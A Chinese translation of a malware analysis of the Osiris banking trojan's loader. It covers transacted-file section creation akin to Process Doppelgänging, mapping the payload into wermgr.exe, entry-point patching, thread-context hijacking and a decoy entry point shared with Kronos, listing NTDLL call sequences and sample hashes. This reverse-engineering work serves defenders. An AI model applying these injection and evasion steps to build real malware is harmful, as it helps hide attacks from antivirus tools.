现在简要介绍一下NTFS事务。这种机制通常在数据库运行时使用,它们也以类似的方式存在于NTFS文件系统中。NTFS事务将一系列操作封装到一个单元中。在事务内部创建文件时,提交事务之前任何人都无法访问它。Process Doppelgänging使用它们来创建不可见的文件。

在分析的案例中,对NTFS事务的使用完全类似。我们只能发现所用API的细微差别。加载程序创建一个新事务,在该事务中创建一个新文件。 最初的使用了来自Kernel32的CreateTransaction和CreateFileTransacted实现。

1_.png

首先,调用来自NTDLL的函数ZwCreateTransaction。然后作者并没有使用CreateFileTransacted,而是通过RtlSetCurrentTransaction和ZwCreateFile打开事务处理文件(创建的文件是%TEMP%\\Liebert.bmp)。然后,dropper将新内容写入文件。类似地,其也会使用ZwWriteFile的RtlSetCurrentTransaction。

write_file-1_.png

可以看到缓冲区包含新的PE文件:即第二阶段的载荷。通常,对于此技术,文件仅在事务中可见,并且不能由其他进程(如杀毒软件)打开。

write_file-1_.png

事务中的文件创建后,会用于创建特殊格式的缓存,即section。完成这些动作的函数都只能通过低级API  ZwCreateSection/NtCreateSection调用。

rollback_transaction_.png

创建该部分后,不再需要该文件。事务被回滚(通过ZwRollbackTransaction),并且对文件的更改不会保存在磁盘上。因此,上述部分与Process Doppelgänging的类比部分相同。通过使用从NTDLL的自定义副本调用的低级别函数,dropper的作者使其更加隐蔽。

从一个section到一个进程

此时,Osiris dropper创建了两个完全不相关的元素:

一个进程(此时包含映射的,合法的可执行文件wermgr.exe)

一个section(从事务创建)并包含恶意载荷

如果这是典型的Process Doppelgänging,那么这种情况永远不会发生,我们会根据带有映射载荷的部分直接创建进程。那么问题出现了,dropper的作者是为什么在这一点上将元素合并在一起的呢?

如果我们跟踪执行,就可以看到在回滚事务之后调用以下函数(格式:RVA;function):

4b1e6;ntdll_1.ZwQuerySection

4b22b;ntdll.NtClose

4b239;ntdll.NtClose

4aab8;ntdll_1.ZwMapViewOfSection

4af27;ntdll_1.ZwProtectVirtualMemory

4af5b;ntdll_1.ZwWriteVirtualMemory

4af8a;ntdll_1.ZwProtectVirtualMemory

4b01c;ntdll_1.ZwWriteVirtualMemory

4b03a;ntdll_1.ZwResumeThread

因此,看起来新创建的部分只是作为附加模块映射到新进程中。将载荷写入内存并设置必要的补丁(例如入口点的重定向)后,将恢复该进程:

resume_proc_.png

重定向执行的方式类似于Process Hollowing的变种。远程进程的PEB已打补丁,新模块已作为一部分被添加。(由于这个原因,当进程恢复时,导入将自动加载。)

resume_proc_.png

但是,入口点重定向仅由初始模块的入口点地址处的补丁完成。单个跳转即重定向到注入模块的入口点:

patched_ep-1.png

如果修补入口点失败,那么加载程序会使用包含第二个入口点重定向变种,方法是在线程上下文中设置新地址(ZwGetThreadContext – > ZwSetThreadContext),这是Process Hollowing中使用的经典技术:

set_context_-1.png

第二阶段Loader

下一层(8d58c731f61afe74e9f450cc1c7987be)还不是核心部分,但是loader的下一阶段。其仅仅引入一个DLL,Kernel32。

加载最终payload的方式与平常无异,Osiris核心代码逐步解包,然后与相关依赖一起加载到Loader进程新分配的内存区域中。

final_payload_.png

自注入后,Loader会跳转到payload的入口点:

payload_entry_point_.png

应用程序的入口点与标头中保存的入口点不同。因此,如果我们转储载荷并尝试相互依赖地运行,会无法执行相同的代码。这是一种用于误导研究人员的有趣技术。

这是标头中设置的入口点RVA 0×26840:

original_ep_.png

该调用使应用程序进入无限睡眠循环:

fake_ep_.png

恶意软件执行的开始的真实的入口点在0×25386,只有loader知道入口点地址。

osiris_ep_code_.png

第二阶段与Kronos Loader

使用隐藏入口点的类似技巧被原始Kronos(2a550956263a22991c34f076f3160b49)使用。在Kronos的案例中,最终的载荷被注入svchost。通过修补svchost中的入口点将执行重定向到内核:

svchost_patch_.png

在这个案例中,载荷的入口点是RVA 0x13B90,而载荷标头(d8425578fc2d84513f1f22d3d518e3c3)中保存的入口点地址是0×15002。

kronos_ep_.png

Kronos入口点的代码与Osiris显示出相似之处。 然而并不完全相同:

kronos_ep_code_.png

总结

第一阶段Loader受到Process Dopplegänging的强烈启发,并以非常专业的方式实施,恶意软件作者使用相对较新的技术并与其他技术相结合,分发者经常使用第三方加密程序来打包恶意软件;第二阶段与载荷紧密耦合,在这里我们可以很肯定地说这一层是与核心一起准备的。

*参考来源:Malwarebytelabs,Covfefe编译,转载请注明来自FreeBuf.COM